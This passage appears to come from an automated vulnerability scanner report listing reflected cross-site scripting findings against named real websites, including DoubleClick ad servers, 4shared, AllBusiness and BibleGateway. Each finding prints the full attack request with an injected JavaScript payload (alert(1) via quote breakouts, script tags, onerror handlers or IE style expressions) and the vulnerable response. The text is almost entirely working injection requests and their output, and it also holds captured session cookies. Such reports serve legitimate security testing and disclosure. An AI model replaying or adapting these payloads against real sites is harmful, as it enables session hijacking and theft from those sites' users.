GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=16d09c"-alert(1)-"9ece5572fb6&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=;ord=879784873? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 12:58:24 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 12:58:24 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7261

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
A7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=16d09c"-alert(1)-"9ece5572fb6&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/free-easy-webex-together.html%3FTrackID%3D1024048");
var fscUrl = url;
var fsc
...[SNIP]...

6.5. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e478"-alert(1)-"cf73551e9d0 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ1e478"-alert(1)-"cf73551e9d0&client=ca-pub-4063878933780912&adurl=;ord=879784873? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 12:59:10 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 12:59:10 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7244

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ1e478"-alert(1)-"cf73551e9d0&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/lets-get-together.html%3FTrackID%3D1024433");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque
...[SNIP]...

6.6. http://ad.doubleclick.net/adi/N1260.Google.com/B5219922.27 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1260.Google.com/B5219922.27

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de85f"-alert(1)-"20e7d43f519 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=lde85f"-alert(1)-"20e7d43f519&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=;ord=879784873? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 12:57:17 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 12:57:17 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7244

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
l = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3add/f/1b7/%2a/c%3B235704433%3B0-0%3B0%3B59487875%3B3454-728/90%3B40121456/40139243/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lde85f"-alert(1)-"20e7d43f519&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRl
...[SNIP]...

6.7. http://www.4shared.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.4shared.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3f45e'-alert(1)-'47a61c2d0ed was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico3f45e'-alert(1)-'47a61c2d0ed HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.4shared.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 /favicon.ico3f45e'-alert(1)-'47a61c2d0ed
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=1459F926DDE8BF905A4995BCC43D1519.dc328; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 02 Apr 2011 13:25:12 GMT
Content-Length: 41850

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>

<title>4shared.co
...[SNIP]...
eof loginBox == 'undefined'){
$('#loginBoxDiv').load('/loginBox.jsp',
{
login : '',
password : '',
fpRedirParam : 'http://www.4shared.com/favicon.ico3f45e'-alert(1)-'47a61c2d0ed',
remember : false

},
function(){
showLoginBox();
}
);
}else{
showLoginBox();
}
}

function ens
...[SNIP]...

6.8. http://www.4shared.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.4shared.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15164"-alert(1)-"dd8c6187af5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico15164"-alert(1)-"dd8c6187af5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.4shared.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 /favicon.ico15164"-alert(1)-"dd8c6187af5
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=61CB2DAE3C41A134AF4364A8D421487B.dc330; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 02 Apr 2011 13:25:11 GMT
Content-Length: 41151

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>

<title>4shared.co
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://www.4shared.com/favicon.ico15164"-alert(1)-"dd8c6187af5";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

6.9. http://www.aboutus.org/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.aboutus.org
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2e07"><script>alert(1)</script>fd9b551f005 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icod2e07"><script>alert(1)</script>fd9b551f005 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.aboutus.org
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Status: 200
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.1
ETag: "64d7e41dd2260249cada85edd9738f53"
X-Runtime: 121
Content-Length: 13392
Set-Cookie: logged_in=false; path=/
Set-Cookie: _aboutus_session_key=BAh7BzoPc2Vzc2lvbl9pZCIlMTY5MTgwMTgzNDlmM2ZmZGJkNzIwNmY4ZGRjOTlhNjEiDWFiX2luZGV4aSs%3D--b35a502024b9ad39567b1317c2a187f617c7104f; path=/; expires=Mon, 02-Apr-2012 13:43:11 GMT; HttpOnly
Cache-Control: max-age=0, public
X-Au-Rails-Sha1: 65ba32a
Server: nginx/0.8.54 + Phusion Passenger 3.0.1 (mod_rails/mod_rack)
X-node-id: rogue
Set-Cookie: SERVERID=rogue; path=/

<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta name="description" content="Favicon.Icod2e07"><Script>Alert(1)</Script>Fd9b551f005 - Learn from the experts and community at AboutUs.org" />
...[SNIP]...

6.10. http://www.allbusiness.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.allbusiness.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e888a"-alert(1)-"bb943823954 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /e888a"-alert(1)-"bb943823954 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.allbusiness.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 The page you requested could not be found.
Date: Sat, 02 Apr 2011 13:38:49 GMT
Server: Apache
Set-Cookie: JSESSIONID=2a30daa2c5964f7e7295;path=/
Set-Cookie: SERVERID=web6;path=/
Set-Cookie: IIA=%2D3;expires=Sun, 03-Apr-2011 13:38:49 GMT;path=/
Set-Cookie: IIA=%2D2;expires=Sun, 03-Apr-2011 13:38:49 GMT;path=/
Set-Cookie: PAGEID=594366435;path=/
Set-Cookie: TS=2011%2D04%2D02%2008%3A38%3A49%2E447;path=/
Set-Cookie: COMPONENTID=0;expires=Mon, 25-Mar-2041 13:38:49 GMT;path=/
Cache-Control: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 47445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content
...[SNIP]...
ot found, but...";
       s_ab.prop10 = "3471360";
       s_ab.prop11 = "";
       s_ab.prop12 = "landingpageobject";
       s_ab.prop13 = "AllBusiness.com";
       s_ab.prop14 = "";
       s_ab.prop15 = "www.allbusiness.com/e888a"-alert(1)-"bb943823954";
       s_ab.prop16 = "";
       s_ab.prop17 = "";
       s_ab.prop18 = "";
       s_ab.prop19 = "";
       s_ab.prop20 = "";
       s_ab.prop21 = "";
       s_ab.prop22 = "";
       s_ab.prop23 = "";
       s_ab.prop24 = "";
       s_ab.p
...[SNIP]...

6.11. http://www.allbusiness.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.allbusiness.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c535f"><img%20src%3da%20onerror%3dalert(1)>8e7e657d535 was submitted in the REST URL parameter 1. This input was echoed as c535f"><img src=a onerror=alert(1)>8e7e657d535 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /c535f"><img%20src%3da%20onerror%3dalert(1)>8e7e657d535 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.allbusiness.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 The page you requested could not be found.
Date: Sat, 02 Apr 2011 13:38:47 GMT
Server: Apache
Set-Cookie: JSESSIONID=ac30c795cbb9533a1273;path=/
Set-Cookie: SERVERID=web7;path=/
Set-Cookie: IIA=%2D3;expires=Sun, 03-Apr-2011 13:38:47 GMT;path=/
Set-Cookie: IIA=%2D2;expires=Sun, 03-Apr-2011 13:38:47 GMT;path=/
Set-Cookie: PAGEID=594366418;path=/
Set-Cookie: TS=2011%2D04%2D02%2008%3A38%3A47%2E92;path=/
Set-Cookie: COMPONENTID=0;expires=Mon, 25-Mar-2041 13:38:47 GMT;path=/
Cache-Control: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 47481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content
...[SNIP]...
<form method="post" id="formWrapper_1" name="formWrapper_1" action="https://www.allbusiness.com/c535f"><img src=a onerror=alert(1)>8e7e657d535?server=web7&sid=ac30c795cbb9533a1273">
...[SNIP]...

6.12. http://www.allvoices.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5dd6"><script>alert(1)</script>e219c4ca2fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoe5dd6"><script>alert(1)</script>e219c4ca2fb HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.allvoices.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:33:36 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.5
X-QueryCount: 2
X-Runtime: 17ms
X-QueryRuntime: 0.00090
Cache-Control: no-cache
Set-Cookie: _T_=c2xmzossd34irl5oaei3kdcgc; path=/; expires=Sun, 03 Apr 2011 01:33:36 GMT
Set-Cookie: page_url=http%3A%2F%2Fwww.allvoices.com%2Ffavicon.icoe5dd6%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ee219c4ca2fb; path=/
Set-Cookie: masala_session_id=cc123cc7f9309ecd4fb448f3e3eaa04c; path=/
Content-Length: 27741
Status: 404 Not Found
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<meta property="og:url" content="http://www.allvoices.com/favicon.icoe5dd6"><script>alert(1)</script>e219c4ca2fb"/>
...[SNIP]...

6.13. http://www.answerbag.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answerbag.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1dcf8'><script>alert(1)</script>60b16937f0b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico1dcf8'><script>alert(1)</script>60b16937f0b HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.answerbag.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:24:23 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=37e025c3a2f50dca596f6e4370459fb4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: en-us

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org
...[SNIP]...
<meta property='og:url' content='http://www.answerbag.com/favicon.ico1dcf8'><script>alert(1)</script>60b16937f0b' />
...[SNIP]...

6.14. http://www.beyond.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.beyond.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e5463%20style%3dx%3aexpression(alert(1))%20fd7a74860e was submitted in the REST URL parameter 1. This input was echoed as e5463 style=x:expression(alert(1)) fd7a74860e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /favicon.icoe5463%20style%3dx%3aexpression(alert(1))%20fd7a74860e HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.beyond.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404
Cache-Control: private
Content-Length: 30033
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: PORTAL=PARTNER=Beyond%2Ecom&NEWUSERSITE=&DIDIPLKUP=Y&USERSTATE=TEXAS&HTTPREFERRER=&USERGID=913263227153426286&USERCOUNTRY=US; expires=Sun, 01-Apr-2012 04:00:00 GMT; path=/
Set-Cookie: Visitor=NewSessionID=7A3FD486%2D48A5%2D4EA0%2DB271%2D6C91FED7EA92; path=/
Set-Cookie: ASPSESSIONIDAQTRQBAR=KNFHENGDPLLKNBNCIIEGPDBD; path=/
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 14:03:54 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equ
...[SNIP]...
6124&r_partnersitename=Beyond.com&t_pgid=446235606103476794&t_sn=/common/error/checkurl.asp&t_httph=www.beyond.com&t_httpurl=/common/error/checkurl.asp&t_httpqs=404;http://www.beyond.com:80/favicon.icoe5463 style=x:expression(alert(1)) fd7a74860e&t_sgid=465502406305451416&t_ws=COLO-WEB01&t_ugid=913263227153426286&f_ip=173.193.214.243&ud=>
...[SNIP]...

6.15. http://www.biblegateway.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.biblegateway.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cd89"><script>alert(1)</script>b47e0ff56e9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico9cd89"><script>alert(1)</script>b47e0ff56e9 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.biblegateway.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.54
Date: Sat, 02 Apr 2011 13:35:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.1.6
Set-Cookie: bg_id=00ab965157d8537e82c701009fe51263; path=/; domain=.biblegateway.com
Content-Length: 18832

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>BibleGateway.com - W
...[SNIP]...
<input type="text" size="40" name="request" value="http://www.biblegateway.com/favicon.ico9cd89"><script>alert(1)</script>b47e0ff56e9" />
...[SNIP]...

6.16. http://www.biblegateway.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.biblegateway.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e6b8e--><script>alert(1)</script>f5a7c98118a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoe6b8e--><script>alert(1)</script>f5a7c98118a HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.biblegateway.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.54
Date: Sat, 02 Apr 2011 13:35:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.1.6
Set-Cookie: bg_id=1183588a8508212bca1abb89a6cb2a8d; path=/; domain=.biblegateway.com
Content-Length: 18834

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>BibleGateway.com - W
